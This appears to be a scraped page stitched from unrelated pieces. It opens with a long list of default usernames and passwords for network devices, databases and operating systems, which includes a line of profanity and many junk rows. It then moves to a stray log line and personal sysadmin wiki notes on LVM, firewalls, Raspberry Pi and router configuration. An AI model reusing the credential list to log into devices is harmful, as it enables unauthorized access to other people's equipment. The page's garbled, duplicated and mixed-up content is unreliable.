3Com LinkSwitch and CellPlex - tech tech
3Com LinkSwitch and CellPlex - debug synnet
3com Superstack II 3300FX - admin -
3com Switch 3000/3300 - Admin 3com
3com 3comCellPlex7000 - tech tech
3Com Switch 3000/3300 - monitor monitor
3Com AirConnect Access Point n/a - comcomcom
3com Superstack II Dual Speed 500 - security security
3Com OfficeConnect 5x1 at least 5.x - PASSWORD
3Com SuperStack 3 Switch 3300XM - admin -
3com Super Stack 2 Switch Any manager manager
3Com SuperStack II Switch 1100 - manager manager
3Com SuperStack II Switch 1100 - security security
3com super stack 2 switch any manager manager
3Com Office Connect Remote 812 - root !root
3Com Switch 3000/3300 - admin admin
3COM OCR-812 - - -
3com - - - -
3com NBX100 2.8 administrator 0000
3com Home Connect - User Password
3Com OfficeConnect 5x1 at least 5.x estheralastruey -
3Com SuperStack II Switch 3300 - manager manager
3Com Superstack - - -
ACC Routers - netman netman
Acc/Newbridge Congo/Amazon/Tigris All versions netman netman
Acc/Newbridge Congo/Amazon/Tigris All versions netman netman
adaptec - - - -
Adaptec RAID Storage Manager Pro All Administrator adaptec
adtran tsu 600 ethernet module - 18364 -
Adtran TSU 120 e - - ADTRAN
Adtran TSU 120 e - - ADTRAN
Aironet All -
alcatel - - - -
Alcatel 1000 ANT Win98 - -
alcatel speed touch home - - -
Alcatel/Newbridge/Timestep VPN Gateway 15xx/45xx/7xxx Any root permit
Alcatel/Newbridge/Timestep VPN Gateway 15xx/ Any root permit
Alcatel/Newbridge/Timestep VPN Gateway 15xx/ Any root permit
Allied Tenysin R130 - Manager friend
Alteon ACEswitch 180e (telnet) - admin blank
Alteon Web Systems All hardware releases Web OS 5.2 none admin
APC MasterSwitches - apc apc
APC Any Firmware Pri apcuser apc
Apple Network Assistant 3.X None xyzzy
Apple Airport 1.1 none public
Arrowpoint any? - admin system
Ascend All TAOS models all admin Ascend
Ascend Pipeline Terminal Server - answer -
Ascom Timeplex Routers Any See notes -
AT&T Starlan SmartHUB 9.9 N/A manager
AWARD Any BIOS - AWARD_SW -
Axent NetProwler manager WinNT administrator admin
Axis NPS 530 5.02 root pass
AXIS StorPoint CD100 4.28 root pass
AXIS 200 V1.32 - admin -
Axis 2100 Network Camera Linux (ETRAX root pass
bay cv1001003 - - -
bay - - - -
Bay - - - -
Bay / Nortel ARN 13.20 Manager (caps count !) -
Bay Network Routers All - User -
Bay Networks ASN / ARN Routers Any Manager Manager
Bay Networks Baystack - - NetICs
Bay/Nortel Networks Accelar 1xxx switches Any rwa rwa
Bay/Nortel Networks Remote Annex 2000 Any admin IP address
BEA Weblogic 5.1 system weblogic
BEA - - - -
bewan - - - -
Bintec all Routers Any admin bintec
Bintec - - - -
Biodata BIGfire & BIGfire+ all - biodata
Biodata all Babylon-Boxes all - Babylon
Borland interbase - - -
Borland Interbase Any politcally correct
Borland/Inprise Interbase any SYSDBA masterkey
BreezeCom AP10, SA10 BreezeNET PR - -
BreezeCOM Station Adapter and Access Point 4.x - Super
BreezeCOM - 3.x - Master
BreezeCOM Station Adapter and Access Point 2.x - laflaf
Brocade Silkworm - admin password
Buffalo/MELCO AirStation WLA-L11 - root (cannot be changed) (no password by default)
Cabletron any any -- --
Cabletron NB Series Any - inuvik49
Cabletron routers and switches * * blank blank
Cayman 3220-H DSL Router GatorSurf 5. Any -
celerity - - - -
Chase Research Iolan+ - - iolan
Cisco Any Router and Switch 10 thru 12 cisco cisco
Cisco ConfigMaker Software any? n/a cmaker
CISCO Network Registrar 3.0 ADMIN changeme
CISCO N/A N/A pixadmin pixadmin
Cisco routers Not sure...j - san-fran
Cisco VPN 3000 Concentrator - admin admin
Cisco Net Ranger 2.2.1 Sol 5.6 root attack
cisco 1600 12.05 - -
cisco 1601 - - -
cisco - - - -
cisco - - - -
Cisco MGX * superuser superuser
cisco 1601 - - -
cisco - - - -
Cisco - - - -
cisco - - - -
Cisco any aany IOS no default login no default password
CISCO arrowpoint - - -
cisco - - - -
cisco - - - -
cisco - - - -
Cisco 2503 - - -
Cisco - - - -
cisco - - - -
Cisco IDS (netranger) - root attack
cisco - - - -
cisco 1600 - - -
CMOS BIOS - - - ESSEX or IPC
Cobalt RaQ * Qube* Any admin admin
Com21 - - - -
Comersus Shopping Cart 3.2 Win 95/98/NT admin dmr99
Compaq Insight Manager - Administrator administrator
Compaq Insight Manager - operator operator
Compaq Management Agents All administrator none
compaq - - - -
copper mountain - - - -
Coppercom - - - -
Coyote-Point Equaliser 4 Free BSD eqadmin - Serial port only equalizer
Coyote-Point Equaliser 4 Free BSD root - Serial port only -
Coyote-Point Equaliser 4 Free BSD look - Web Browser only (Read a look
Coyote-Point Equaliser 4 Free BSD touch - Web Browser only (Write touch
Cyclades MP/RT - super surt
D-Link DI-704 - - admin
D-Link DI-701 2.22 (?) - -
Dell PowerVault 50F WindRiver (E root calvin
Dell PowerVault 35F - root calvin
Dell Powerapp Web 100 Linux RedHat 6.2 root powerapp
dell - - - -
Digiboard Portserver 8 & 16 any root dbps
DLink DI-206 ISDN router 1.* Admin Admin
Dlink Dl-106 ISDN router - - 1234
DLink DL-701 Cable/DSL Gateway/Firewall - - year2000
Dlink DFE-538TX 10/100 Adapter Windows 98 - -
dlink di704 - - admin
DLink DI 106 winnt administrator @*nigU^D.ha,;
Dupont Digital Water Proofer Sun Sparc any root par0t
eci - - - -
Efficient - - - -
Elron Firewall 2.5c hostname/ip address sysadmin
emai hotmail - - -
Ericsson ACC - netman netman
Ericsson (formerly ACC) Any router all netman netman
Extended Systems ExtendNet 4000 / Firewall all Versions admin admin
Extended Systems Print Servers - admin extendnet
Extreme All Summits - admin -
extreme black diamond - - -
Extreme All All Admin -
Flowpoint 144, 2200 DSL Routers ALL - password
FlowPoint 144, 2200 DSL Routers ALL - admin
Flowpoint 2200 - - Serial Num
Flowpoint 2200 - - Serial Num
fore - - - -
Fore Systems ASX 1000/1200 6.x ami -
Foundry Networks ServerIronXL Any - -
fujitsu l460 - - -
Future Networks FN 110C Docsis cablemodem Any - -
gatway solo9100 win95 - -
General Instruments SB2100D Cable Modem - test test
gonet - - fast abd234
Hewlett Packard HP Jetdirect (All Models) Any none none
Hewlett Packard MPE-XL - HELLO MANAGER.SYS
Hewlett Packard MPE-XL - HELLO MGR.SYS
Hewlett Packard MPE-XL - HELLO FIELD.SUPPORT
Hewlett Packard MPE-XL - MGR CAROLIAN
Hewlett Packard MPE-XL - MGR CCC
Hewlett Packard MPE-XL - OPERATOR COGNOS
Hewlett Packard MPE-XL - MANAGER HPOFFICE
hp 4150 - - -
hp - - - -
IBM AS/400 - qsecofr qsecofr
IBM AS/400 - qsysopr qsysopr
IBM AS/400 - qpgmr qpgmr
IBM NetCommerce PRO 3.2 ncadmin ncadmin
IBM LAN Server / OS/2 2.1, 3.0, 4. username password
IBM 2210 RIP def trade
IBM DB2 WinNT db2admin db2admin
IBM Lotus Domino Go WebServer (net.commerce edition) ANY ? webadmin webibm
IBM AS400 Any QSECOFR QSECOFR
IBM RS/6000 AIX root ibm
IBM - OS/400 QSECOFR QSECOFR
IBM AS400 - QSRVBAS QSRVBAS
IBM AS400 - QSRV QSRV
ibm as400 - - -
IBM AS/400 OS/400 QUSER QUSER
IBM AS/400 - - -
IBM ra6000 AIX Unix - -
IBM AIX - - -
Imperia Software Imperia Content Managment System Unix/NT superuser superuser
Intel 510T Any - admin
Intel All Routers All Versions - babbit
Intel All Routers All Versions - babbit
Intel Intel PRO/Wireless 2011 Wireless LAN Access Point Any - Intel
Intel wireless lan access Point - - comcomcom
Ipswitch Whats up Gold 6.0 Windows 9x a admin admin
janta sales 254 compaq janta sales janta211
janta sales 254 compaq janta sales janta211
Jetform Jetform_design - Jetform -
Kawa - - - -
LANCAST - - - -
Lantronix LPS1-T Print Server j11-16 any system
Lantronix MSS100, MSSVIA, UDS10 Any - system
Lantronix LSB4 any any system
Lantronix Printer and terminalservers - - system
LGIC Goldstream 2.5.1 LR-ISDN LR-ISDN
Linkou School - - bill bill
Linkou School - - bill bill
Linksys Cable/DSL router Any - admin
Linksys BEFSR7(1) OR (4) Standalone R blank admin
linksys - - - -
Linksys BEFSR41 - (blank) admin
Livingston Livingston_portmaster2/3 - !root blank
Livingston Livingston_officerouter - !root blank
Lucent Portmaster 2 - !root none
Lucent Cajun Family - root root
lucent Portmaster 3 unknown !root !ishtar
Lucent Packetstar (PSAX) - readwrite lucenttech1
Lucent AP-1000 - public public
lucent dsl - - -
lucent - - - -
macromedia freehand 9 - -
MacSense X-Router Pro - admin admin
mcafee - - - -
microcom hdms unknowen system hdms
Micron - bios - -
Microrouter (Cisco) Any Any - letmein
Microrouter (Cisco) Any Any - letmein
Microsoft Windows NT All Administrator -
Microsoft Windows NT All Guest -
Microsoft Windows NT All Mail -
Microsoft SQL Server - sa -
Microsoft Windows NT 4.0 pkoolt pkooltPS
Microsoft NT - - start
MICROSOFT NT 4.0 free user user
Microsoft Windows NT 4.0 admin admin
MICROSOFT NT 4.0 free user user
Microsoft - - - -
microsoft - - - -
Microsoft Ms proxy 2.0 - - -
microsoft - - - -
mICROSOFT - - - -
Microsoft Key Managment Server Windows NT 4 - password
Microsoft - - - -
Motorola Motorola-Cablerouter - cablecom router
Motorola Motorola-Cablerouter - cablecom router
motorola cyber surfer - - -
msdloto msdloto - - -
msdloto - - - -
Multi-Tech RASExpress Server 5.30a guest none
Nanoteq NetSeq firewall * admin NetSeq
NetApp NetCache any admin NetCache
Netgaer RH328 - - 1234
Netgear RH348 - - 1234
Netgear ISDN-Router RH348 - - 1234
Netgear RT311 Any Admin 1234
Netgear RT314 Any Admin 1234
Netgear RT338 - - 1234
Netgear RT311/RT314 - admin 1234
netgear - - - -
netlink rt314 - - -
Netopia R7100 4.6.2 admin admin
Netopia 455 v3.1
Netscreen NS-5, NS10, NS-100 2.0 netscreen netscreen
NeXT - NeXTStep 3.3 me -
Nokia - Telecom NZ M10 - Telecom Telecom
Nortel Meridian 1 PBX OS Release 2 0000 0000
Nortel Contivity Extranet Switches 2.x admin setup
Nortel Norstar Modular ICS Any **ADMIN (**23646) ADMIN (23646)
Nortel Norstar Modular ICS Any **CONFIG (266344) CONFIG (266344)
Nortel Networks (Bay) Instant Internet Any - -
Northern Telecom(Nortel) Meridian 1 - - m1link
Novell NetWare Any guest -
Novell NetWare any PRINT -
Novell NetWare Any LASER -
Novell NetWare Any HPLASER -
Novell NetWare Any PRINTER -
Novell NetWare Any LASERWRITER -
Novell NetWare Any POST -
Novell NetWare Any MAIL -
Novell NetWare Any GATEWAY -
Novell NetWare Any GATE -
Novell NetWare Any ROUTER -
Novell NetWare Any BACKUP -
Novell NetWare Arcserve CHEY_ARCHSVR WONDERLAND
Novell NetWare Any WINDOWS_PASSTHRU -
novell - - - -
ODS 1094 IS Chassis 4.x ods ods
Optivision Nac 3000 & 4000 any root mpegvideo
Oracle 8i 8.1.6 sys change_on_install
Oracle Internet Directory Service any cn=orcladmin welcome
Oracle 7 or later - system manager
Oracle 7 or later - sys change_on_install
Oracle 7 or later Any Scott Tiger
Oracle 8i all internal oracle
oracle - - - -
oracle - - - -
oracle co. Database engines every sys change_on_install
Osicom(Datacom) Osicom(Datacom) - sysadm sysadm
Pandatel EMUX all admin admin
PlainTree Waveswitch 100 - - default.password
RapidStream RS4000-RS8000 Linux rsadmin rsadmin
realtek 8139 - - -
Remedy Any Any Demo -
Research Machines Classroom Assistant Windows 95 manager changeme
Rodopi Rodopi billing software 'AbacBill' sql database - rodopi rodopi
Samba SWAT Package Linux Any Local User Local User password
schoolgirl member - ich hci
Securicor3NET Monet any manager friend
Securicor3NET Cezzanne any manager friend
SGI all all root n/a
SGI Embedded Support Partner IRIX 6.5.6 Administrator Partner
SGI IRIX ALL lp lp
SGI IRIX ALL OutOfBox, demos, guest, 4DGifts (none by default)
SGI IRIX ALL EZsetup -
Shiva LanRover any? root -
Shiva AccessPort Any hello hello
Shiva Any? - Guest blank
SMC Barricade - - admin
soho nbg800 unknown admin 1234
Solaris - - - -
sonic wall any firewall device admin password -
SonicWall Any Firewall Device - admin password
SpeedStream - - - -
Spider Systems M250 / M250L - - hello
Sprint PCS SCH2000 see notes Menu - 8 - 0 (see notes) 040793
Ssangyoung SR2501 - - 2501
Sun - SunOS 4.1.4 root -
Sun - Solaris - -
surecom ep3501/3506 own os admin surecom
Symnatec - - - -
SysKonnect 6616 - default.password -
SysKonnect 6616 - default.password -
Tekelec Eagle STP - eagle eagle
Telebit netblazer 3.* - setup/snmp setup/nopasswd
Terayon TeraLink Getaway - admin password
Terayon TeraLink 1000 Controller - admin password
Terayon TeraLink 1000 Controller - user password
Terayon TeraLink Getaway - user password
terayon - 6.29 admin nms
Terrayon - - - -
Titbas - SCO haasadm lucy99
TopLayer AppSwitch 2500 Any siteadmin toplayer
Toshiba TR-650 V2.01.00 admin tr650
toshiba 480cdt - - -
toshiba - - - -
TrendMicro ISVW (VirusWall) any admin admin
Trintech eAcquirer App/Data Servers - t3admin Trintech
Ullu ka pattha Gand mara Gandoo Bhosda Lund
USR TOTALswitch Any none amber
Vina Technologies ConnectReach 3.6.2 (none) (none)
voy - - - -
WatchGuard FireBox 3-4.6 - wg (touch password)
Webmin Webmin Any Unix/Lin admin -
Webramp 410i etc... - wradmin trancell
Win2000 Quick Time 4.0 Englisch - -
Windows 98 se 98 se - - -
Wireless Inc. WaveNet 2458 n/a root rootpass
Xylan Omnistack 1032CF 3.2.8 admin password
Xylan Omnistack 4024 3.4.9 admin password
Xylan Omniswitch 3.1.8 admin switch
xyplex mx-16xx - setpriv system
Zyxel ISDN-Router Prestige 1000 - - 1234
zyxel prestige 300 series zynos 2.* - 1234
Zyxel ISDN Router Prestige 100IH - - 1234
Zyxel prestige 300 series any - -
Zyxel prestige 600 series any - -
ZYXEL 641 ADSL - - 1234
Zyxel prestige 128 modem-router any - 1234
Zyxel ISDN-Router Prestige 1000 - - -
Zyxel ISDN-Router Prestige 1000 - - -

Spero siano utili a qualcuno

== LOG ==

Nov/02/2006 15:38:05 Wireless PC connected 00-11-24-22-A9-AE

LVM

2022-11-17T17:22:57Z

Porcelinux: /* Resizing out from Disk->PV->LV->Partition */

= Info =

*; Phisical Volumes
pvs

*; Volume Groups
vgs
*; Logical Volumes
lvs

= Phisical Volumes (PV) =

pvs
PV VG Fmt Attr PSize PFree
/dev/sda vg_1 lvm2 a-- 930.82g 0
/dev/sdb vg_1 lvm2 a-- 931.31g 931.31g
* Phisical to Virtual
lvs -a -o +devices
* Segmentation
pvs -v --segments /dev/sdb1
PV VG Fmt Attr PSize PFree Start SSize LV Start Type PE Ranges
/dev/sdb1 server03-vg lvm2 a-- 58.35g 40.35g 0 4608 root 0 linear /dev/sdb1:0-4607
/dev/sdb1 server03-vg lvm2 a-- 58.35g 40.35g 4608 10330 0 free

== add a disk to a PV ==
vgextend vg_1 /dev/sdb
Volume group "vg_1" successfully extended

== remove a disk from PV ==

vgreduce vg_1 /dev/sdb
Removed "/dev/sdb" from volume group "vg_1"

== delete a PV ==
vgremove vg_1
Volume group "vg_1" successfully removed

= Resizing out from Disk->PV->LV->Partition =

* After resizing a physical drive this commands will claim the space gained to the file system.
*resizing LVM linux partition to the new disk boundaries
pvresize /dev/md1

pvresize --setphysicalvolumesize (size here) /dev/sda5

* adding 100G
lvextend -L+100G /dev/mapper/vg0-var
* ext4 resizing command
resize2fs /dev/mapper/vg0-var

df -hT

= Logical Volumes =
== create a mirror volume ==

lvcreate -L 931g vg_1 -m 1 vg_1

== create a mirror from existing and mounted volume ==

lvconvert -m1 vg_1/lv_home

* then we check the result:
# pvs;echo;vgs;echo;lvs
PV VG Fmt Attr PSize PFree
/dev/sda2 vg_1 lvm2 a-- 930.82g 0
/dev/sdb vg_1 lvm2 a-- 931.31g 56.33g

VG #PV #LV #SN Attr VSize VFree
vg_1 2 3 0 wz--n- 1.82t 56.33g

LV VG Attr LSize Pool Origin Data% Move Log Copy% Convert
lv_home vg_1 mwi-aom- 874.98g lv_home_mlog 100.00
lv_root vg_1 -wi-ao-- 50.00g
lv_swap vg_1 -wi-ao-- 5.84g

LVM

2022-11-17T17:22:06Z

Porcelinux: /* Phisical Volumes (PV) */

= Info =

*; Phisical Volumes
pvs

*; Volume Groups
vgs
*; Logical Volumes
lvs

= Phisical Volumes (PV) =

pvs
PV VG Fmt Attr PSize PFree
/dev/sda vg_1 lvm2 a-- 930.82g 0
/dev/sdb vg_1 lvm2 a-- 931.31g 931.31g
* Phisical to Virtual
lvs -a -o +devices
* Segmentation
pvs -v --segments /dev/sdb1
PV VG Fmt Attr PSize PFree Start SSize LV Start Type PE Ranges
/dev/sdb1 server03-vg lvm2 a-- 58.35g 40.35g 0 4608 root 0 linear /dev/sdb1:0-4607
/dev/sdb1 server03-vg lvm2 a-- 58.35g 40.35g 4608 10330 0 free

== add a disk to a PV ==
vgextend vg_1 /dev/sdb
Volume group "vg_1" successfully extended

== remove a disk from PV ==

vgreduce vg_1 /dev/sdb
Removed "/dev/sdb" from volume group "vg_1"

== delete a PV ==
vgremove vg_1
Volume group "vg_1" successfully removed

= Resizing out from Disk->PV->LV->Partition =

* After resizing a physical drive this commands will claim the space gained to the file system.
*resizing LVM linux partition to the new disk boundaries
pvresize /dev/md1
* adding 100G
lvextend -L+100G /dev/mapper/vg0-var
* ext4 resizing command
resize2fs /dev/mapper/vg0-var

df -hT

= Logical Volumes =
== create a mirror volume ==

lvcreate -L 931g vg_1 -m 1 vg_1

== create a mirror from existing and mounted volume ==

lvconvert -m1 vg_1/lv_home

* then we check the result:
# pvs;echo;vgs;echo;lvs
PV VG Fmt Attr PSize PFree
/dev/sda2 vg_1 lvm2 a-- 930.82g 0
/dev/sdb vg_1 lvm2 a-- 931.31g 56.33g

VG #PV #LV #SN Attr VSize VFree
vg_1 2 3 0 wz--n- 1.82t 56.33g

LV VG Attr LSize Pool Origin Data% Move Log Copy% Convert
lv_home vg_1 mwi-aom- 874.98g lv_home_mlog 100.00
lv_root vg_1 -wi-ao-- 50.00g
lv_swap vg_1 -wi-ao-- 5.84g

Firewall (iptables)

2022-09-20T20:47:55Z

Porcelinux: /* Firewalld */

== NAT ==

Network Address Translation [[NAT]]

== linux powerful firewall ==
* print out the configuration running:
iptables -L
* or better this will print all input table rules
iptables-save

----
* some rules:
target prot opt source destination
ACCEPT all -- anywhere anywhere
ACCEPT icmp -- anywhere anywhere icmp any
ACCEPT ipv6-crypt-- anywhere anywhere
ACCEPT ipv6-auth-- anywhere anywhere
ACCEPT udp -- anywhere 224.0.0.251 udp dpt:mdns
ACCEPT udp -- anywhere anywhere udp dpt:ipp
ACCEPT tcp -- anywhere anywhere tcp dpt:ipp
ACCEPT all -- anywhere anywhere state RELATED,ESTABLISHED
ACCEPT tcp -- anywhere anywhere state NEW tcp dpt:ssh
ACCEPT tcp -- anywhere anywhere state NEW tcp dpt:http
ACCEPT tcp -- anywhere anywhere state NEW tcp dpt:46590
ACCEPT udp -- anywhere anywhere state NEW udp dpt:46720
REJECT all -- anywhere anywhere reject-with icmp-host-prohibited
----
* apend a rule (to the end of the table) to accept connections on port 5901 (vncserver)
iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 5901 -j ACCEPT

* show NAT table
iptables -t nat -L
iptables -t nat -L -n -v | grep 'IP or anything'
iptables -t nat -L -n -v

*: netstat-nat, software to display nat connections
netstat-nat -n

* show SNAT connections, run:
netstat-nat -S

* show DNAT connections, type:
netstat-nat -D

== saving configuration in a file ==
iptables-save > backup_iptables

== restore conf from a file ==
iptables-restore < backup_iptables
* this will only enable the configuration while iptables process is restarted, to avoid this, we need to save the configuration:
/etc/init.d/iptables save
* now we can restart/reboot

== redirecting connections ==

=== from a specified port to an host ===

iptables -A PREROUTING -d HOSTONE -p tcp -m tcp --dport 80 -j DNAT --to-destination HOSTWO:80
iptables -A POSTROUTING -d HOSTWO -j SNAT --to-source HOSTONE

== Firewalld==

firewall-cmd --get-active-zones
FedoraServer
interfaces: em1

firewall-cmd --get-default-zone
FedoraServer

* change zone of an interface
firewall-cmd --zone=home --change-interface=eth0

* add port
firewall-cmd --zone=FedoraServer --add-port=80/tcp --permanent
* remove port
firewall-cmd --zone=FedoraServer --remove-port=80/tcp --permanent

firewall-cmd --reload

firewall-cmd --get-zones
FedoraServer FedoraWorkstation block dmz drop external home internal public trusted work

== UFW ==

''The Ubuntu Firewall''

* status
ufw status
* ...with line numbers
ufw status numbered

* numbers

ufw insert <number> allow from ...
ufw delete <number>

'''ufw allow from <target> to <destination> port <port number> proto <protocol name>'''

* allow all traffic on the forward chain (don't do this)
ufw default allow FORWARD

set DEFAULT_FORWARD_POLICY to ACCEPT

/etc/default/ufw
DEFAULT_FORWARD_POLICY="ACCEPT"

* denials
ufw deny from 10.0.0.42
ufw deny in on eth0 from 10.0.0.42

* allow ssh's
ufw allow ssh
ufw allow 22
ufw allow from 10.0.0.0/24 to any port 22
ufw allow from 10.0.0.20 to 10.0.0.10 port 22
* web ports
ufw allow http
ufw allow 80
ufw allow https
ufw allow 443
ufw allow proto tcp from any to any port 80,443
* some dbs
Allow MySQL from Specific IP Address or Subnet
ufw allow from 10.0.0.0/24 to any port 3306
Allow MySQL to Specific Network Interface
ufw allow in on eth1 to any port 3306
PostgreSQL from Specific IP Address or Subnet
ufw allow from 10.0.0.0/24 to any port 5432

* routing from ''eth1'' to ''eth2''
ufw route allow in on eth1 out on eth2

* a UDP port on any interface from specific IP
ufw allow proto udp from 107.172.59.23 to any port 8288

Raspberrypi

2022-07-07T15:50:07Z

Porcelinux: /* software */

http://www.raspberrypi.org/documentation/configuration/config-txt.md

= casting to a raspberry =

apt-get install libwidevinecdm0

= installing 7 Display =

There are 4 jumper wires (Red, Black, Yelow & Green) that connect to the following pins on the LCD controller board:

Red wire to pin marked 5V
Green wire to pin marked SDA
Yellow wire to pined marked SCL
Black wire to pin marked GND

The other end of the wires will connect to the following pins on the Raspberry Pi computer board:

Red wire to pin 2
Green wire to pin 3
Yellow wire to pin 4
Black wire to pin 6

* Xorg modifications

Paste in: /etc/X11/xorg.conf

Section "InputClass"
Identifier "calibration"
Driver "evdev"
MatchProduct "FT5406 memory based driver"

Option "EmulateThirdButton" "1"
Option "EmulateThirdButtonTimeout" "750"
Option "EmulateThirdButtonMoveThreshold" "30"
EndSection

= installing 3.5 Display =

there are various models of the same 3.5 display, two are listed here

sudo rm -rf LCD-show
git clone https://github.com/goodtft/LCD-show.git
chmod -R 755 LCD-show
cd LCD-show/

* MHS-3.5inch_RPi_Display

http://www.lcdwiki.com/MHS-3.5inch_RPi_Display

cd LCD-show/
sudo ./MHS35-show

* V3 3.5inch_RPi_Display

cd LCD-show/
sudo ./LCD35-show

* rotate display
cd LCD-show/
sudo ./rotate.sh 90 .. 180 270

= config =

* DSI lines
DSI lines are disabled by default. To enable detection, add the following line to /boot/config.txt:

ignore_lcd=0

= software =
* on screen keyboard
apt-get install matchbox-keyboard
or
sudo apt-get install florence

== Raspbian 11 ==

=== LAn iface names ===

iface names are renamed to enx???? .... very bad

* in /boot/cmdline.txt
net.ifnames=0 biosdevname=0

Router-language

2022-07-06T19:02:37Z

Porcelinux: /* Cisco */

== Cisco ==

* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html
*; admin console
enable
*; Save config
# write memory

=== Interfaces ===

show interface GigabitEthernet 1/0/1

show interfaces switchport

show interface GigabitEthernet 1/0/1 ?
accounting Show interface accounting
capabilities Show interface capabilities information
controller Show interface status, configuration and controller status
counters Show interface counters
crb Show interface routing/bridging info
dampening Show interface dampening info
debounce Show interface debounce time info
description Show interface description
etherchannel Show interface etherchannel information
fair-queue Show interface Weighted Fair Queueing (WFQ) info
flowcontrol Show interface flowcontrol information
history Show interface history
human-readable show interfaces output with larger numbers separated by comma(s)
irb Show interface routing/bridging info
mac-accounting Show interface MAC accounting info
mpls-exp Show interface MPLS experimental accounting info
mtu Show interface mtu
precedence Show interface precedence accounting info
pruning Show interface trunk VTP pruning information
random-detect Show interface Weighted Random Early Detection (WRED) info
rate-limit Show interface rate-limit info
stats Show interface packets & octets, in & out, by switching path
status Show interface line status
summary Show interface summary
'''switchport''' Show interface switchport information
transceiver Show interface transceiver
trunk Show interface trunk information
users Show interface users
vlan Show interface vlan information

show interface GigabitEthernet 1/0/1

interface range gigabitEthernet 1/0/9-12
(config-if-range)#switchport mode dynamic auto
(config-if-range)#switchport trunk allowed vlan 5-7
(config-if-range)#switchport trunk native vlan 6
end
=== VLAN ===

show vlan summary

show vlan id 6

show interface vlan 6
Vlan6 is up, line protocol is up
Hardware is EtherSVI, address is e8b

*; New VLAN
Switch# configure terminal
Switch(config)# vlan 20
Switch(config-vlan)# name test20
Switch(config-vlan)# end

Switch(config)# no vlan vlan-id
*: Port With only one untagged VLAN
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode access
Switch(config-if)# switchport access vlan 2
Switch(config-if)# end

*; Port in auto trunk mode (IEEE 802.1Q trunking)
Switch# configure terminal
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport mode dynamic desirable
Switch(config-if)# end

*; remove VLAN 2 from the allowed VLAN list on a port:
Switch(config)# interface gigabitethernet 1/0/1
Switch(config-if)# switchport trunk allowed vlan remove 2
Switch(config-if)# end

interface GigabitEthernet 1/0/1
port link-type hybrid
port hybrid vlan 5 7 tagged
port hybrid vlan 6 untagged
undo port hybrid vlan 1
port hybrid pvid vlan 6
#

== DD-WRT ==

* show all variables named/containing '''<something>'''
nvram show|grep <something>
nvram show|grep ports

* unset all variables named/containing '''<something>'''
for a in $(nvram show|grep <something>|grep -v size);do nvram unset $(echo $a|cut -d"=" -f1);done

# nvram commit

*[edit] Port Attributes

0 or 1 to 15, or even 4096 This is the VLAN for the port. NOTE that due to the other attributes below, VLANs 16 to 21 are not supported!
16 Tagged
17 NOT Auto-Negotiate. (If #17 is off, you'll get 18, 19, and 21 on a gigabit switch)
18 = NOT forced-100 MBit (either Auto-Negotiate is used, or some other speed is forced)
19 = NOT Full-Duplex (either Auto-Negotiate is used, or Half-duplex is forced)
20 = NOT Enabled (ie. disabled)
21 = NOT forced-Gigabit (either Auto-Negotiate is used, or some other speed is forced)

=== VLAN ===

vlan#ports
Each vlan is assigned one or more ports plus the CPU port. Default vlan and tagging also specified.
port#vlans
Each port is assigned to one vlan (CPU to all vlans). Plus other per-port settings for speed, duplex, etc.
vlan#hwname
Activates a vlan, ensuring it is properly initialized.

*attributes
These are suffixes for the final CPU port number.
*"t"
tag with 802.1q vlan header (e.g. for trunking). Can be added to one or more ports in a vlan.
*"u"
used on WAN vlan, to ensure WAN traffic is untagged.
*"*"
used on default LAN VLAN, untagged incoming traffic goes here.

vlan4ports=0 5*
vlan4_ipaddr=0.0.0.0
vlan4hwname=et0
port2vlans=4

== Huawei ==
;(AR502CG-L)

More details in [[Huawei AR500]]
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands

* Access CLI
** from the web interface, create a telnet enabled user and enable telnet service.

telnet 192.168.x.x
...
system-view

=== Cellular WAN connection information ===
<pre>
<Huawei>display cellular 0/0/0 all
Modem State:
Hardware Information.
=====================
Model = ME909s-120
Modem Type = LTE module
...
</pre>

* Display APN profiles
<pre>
<Huawei>display apn-profile configuration
</pre>

* Display IP interface WAN
<pre>
display interface cellular 0/0/0
</pre>

display ip interface brief

display ip routing-table

* reset counters
reset counters interface cellular 0/0/0

=== del vlan ===
[RouterBackup]undo interface Vlanif 6
[RouterBackup]undo Vlan 6

=== change Interface MTU ===
<Huawei> system-view
[Huawei] interface cellular 0/0/0
[Huawei-Cellular0/0/0] mtu 1200
[Huawei-Cellular0/0/0] restart

=== Save running config ===
[Router] save

=== SMS ===

* List SMS
display sms interface cellular 0/0/0 brief

* SMS stats
display sms interface cellular 0/0/0 statistics

=== NAT tutorial ===
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet

*; Create an APN profile.

<Huawei> system-view
[Huawei] sysname Router
[Router] apn profile lteprofile
[Router-apn-profile-lteprofile] apn ltenet
[Router-apn-profile-lteprofile] quit

*; Configure a network connection mode.

[Router] interface cellular 0/0/0
[Router-Cellular0/0/0] mode lte auto

*; Bind the APN profile to the LTE cellular interface.

[Router-Cellular0/0/0] dialer enable-circular
[Router-Cellular0/0/0] apn-profile ltenet
[Router-Cellular0/0/0] shutdown
[Router-Cellular0/0/0] undo shutdown
[Router-Cellular0/0/0] quit

Configure C-DCC for dial-up connection.

*; Configure a dialer control list.

[Router] dialer-rule
[Router-dialer-rule] dialer-rule 1 ip permit
[Router-dialer-rule] quit

*; Obtain IP addresses dynamically.

[Router] interface cellular 0/0/0
[Router-Cellular0/0/0] ip address negotiate

*; Associate Cellular0/0/0 to the dialer control list.

[Router-Cellular0/0/0] dialer-group 1

Ensure that the group-number value in the dialer-group command is the same as the dialer-rule-number value in the dialer-rule command.

*; Configure the dialer number.

[Router-Cellular0/0/0] dialer number *99# autodial
[Router-Cellular0/0/0] quit

*;Configure the enterprise intranet.

* Create VLAN 10 and add Ethernet 2/0/0 to VLAN 10.

[Router] vlan 10
[Router-vlan10] quit
[Router] interface ethernet 2/0/0
[Router-Ethernet2/0/0] port link-type trunk
[Router-Ethernet2/0/0] port trunk allow-pass vlan 10
[Router-Ethernet2/0/0] quit

*; Enable DHCP.

[Router] dhcp enable

*; Create a global address pool.

[Router] ip pool 4gpool
[Router-ip-pool-4gpool] network 192.168.100.0 mask 255.255.255.0
[Router-ip-pool-4gpool] gateway-list 192.168.100.1
